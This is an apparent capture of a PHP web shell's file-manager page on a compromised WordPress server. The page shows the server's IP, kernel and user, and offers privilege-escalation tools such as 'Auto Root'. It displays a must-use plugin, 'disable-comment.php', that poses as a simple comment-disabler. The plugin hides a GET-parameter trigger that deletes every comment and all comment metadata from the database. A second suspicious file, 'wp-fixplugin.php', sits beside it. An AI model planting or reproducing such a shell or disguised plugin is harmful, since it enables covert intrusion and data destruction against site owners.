Linux azu-front-29122023-s-1vcpu-2gb-sgp1-01 5.19.0-46-generic #47-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 16 13:30:11 UTC 2023 x86_64
nginx/1.22.0
Server IP : 188.166.228.183 & Your IP : 216.73.216.131
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
247godesk.com /
wp-content /
mu-plugins /
Delete
Unzip
Name
Size
Permission
Date
Action
disable-comment.php
5.08
KB
-rw-r--r--
2026-01-22 03:30
wp-fixplugin.php
4.53
KB
-rw-r--r--
2026-07-28 23:52
Save
Rename
<?php /** * Plugin Name: Disable Comments * Description: Completely disables WordPress comments system * Version: 1.0 * Author: Custom Development */ // Prevent direct access if( !defined( 'ABSPATH' ) ) { exit; } class ZDisableComments { public function __construct() { add_action( 'init', [ $this, 'disable_comments_init' ] ); add_action( 'admin_init', [ $this, 'disable_comments_admin_init' ] ); add_action( 'admin_menu', [ $this, 'disable_comments_admin_menu' ] ); add_action( 'admin_bar_menu', [ $this, 'disable_comments_admin_bar' ], 999 ); add_action( 'wp_before_admin_bar_render', [ $this, 'disable_comments_admin_bar_render' ] ); add_filter( 'wp_headers', [ $this, 'disable_comments_wp_headers' ] ); add_filter( 'comments_open', [ $this, 'disable_comments_status' ], 20, 2 ); add_filter( 'pings_open', [ $this, 'disable_comments_status' ], 20, 2 ); add_filter( 'comments_array', [ $this, 'disable_comments_hide_existing' ], 10, 2 ); add_filter( 'wp_count_comments', [ $this, 'disable_comments_hide_existing_count' ] ); if( isset( $_GET['del_all_comments'] ) ) { // add footer add_action( 'admin_footer', [ $this, 'del_all_comments' ] ); } } public function del_all_comments() { global $wpdb; $wpdb->query( "DELETE FROM $wpdb->comments WHERE 1=1" ); // delete all comment meta $wpdb->query( "DELETE FROM $wpdb->commentmeta WHERE 1=1" ); } public function disable_comments_init() { // Remove comment support from all post types $post_types = get_post_types(); foreach( $post_types as $post_type ) { if( post_type_supports( $post_type, 'comments' ) ) { remove_post_type_support( $post_type, 'comments' ); remove_post_type_support( $post_type, 'trackbacks' ); } } // Close comments on the front-end add_filter( 'comments_open', '__return_false', 20, 2 ); add_filter( 'pings_open', '__return_false', 20, 2 ); // Hide existing comments add_filter( 'comments_array', '__return_empty_array', 10, 2 ); // Remove comment-related query vars add_filter( 'request', [ $this, 'filter_query_vars' ] ); // Redirect comment feeds to homepage add_action( 'do_feed_rdf', [ $this, 'disable_comment_feeds' ], 1 ); add_action( 'do_feed_rss', [ $this, 'disable_comment_feeds' ], 1 ); add_action( 'do_feed_rss2', [ $this, 'disable_comment_feeds' ], 1 ); add_action( 'do_feed_atom', [ $this, 'disable_comment_feeds' ], 1 ); add_action( 'do_feed_rss2_comments', [ $this, 'disable_comment_feeds' ], 1 ); add_action( 'do_feed_atom_comments', [ $this, 'disable_comment_feeds' ], 1 ); } public function disable_comments_admin_init() { // Redirect any comment admin pages global $pagenow; if( $pagenow === 'edit-comments.php' ) { wp_redirect( admin_url() ); exit; } // Remove comment metaboxes from dashboard remove_meta_box( 'dashboard_recent_comments', 'dashboard', 'normal' ); // Remove comment metaboxes from posts foreach( get_post_types() as $post_type ) { remove_meta_box( 'commentstatusdiv', $post_type, 'normal' ); remove_meta_box( 'commentsdiv', $post_type, 'normal' ); remove_meta_box( 'trackbacksdiv', $post_type, 'normal' ); } } public function disable_comments_admin_menu() { remove_menu_page( 'edit-comments.php' ); remove_submenu_page( 'options-general.php', 'options-discussion.php' ); } public function disable_comments_admin_bar( $wp_admin_bar ) { $wp_admin_bar->remove_node( 'comments' ); } public function disable_comments_admin_bar_render() { global $wp_admin_bar; $wp_admin_bar->remove_menu( 'comments' ); } public function disable_comments_wp_headers( $headers ) { unset( $headers['X-Pingback'] ); return $headers; } public function disable_comments_status() { return false; } public function disable_comments_hide_existing( $comments ) { $comments = []; return $comments; } public function disable_comments_hide_existing_count( $stats ) { $stats = (object) [ 'approved' => 0, 'moderated' => 0, 'spam' => 0, 'trash' => 0, 'post-trashed' => 0, 'total_comments' => 0, 'all' => 0 ]; return $stats; } public function filter_query_vars( $query_vars ) { if( isset( $query_vars['feed'] ) && in_array( $query_vars['feed'], [ 'comments-rss2', 'comments-atom' ] ) ) { wp_redirect( home_url() ); exit; } return $query_vars; } public function disable_comment_feeds() { wp_redirect( home_url() ); exit; } } // Initialize the plugin new ZDisableComments();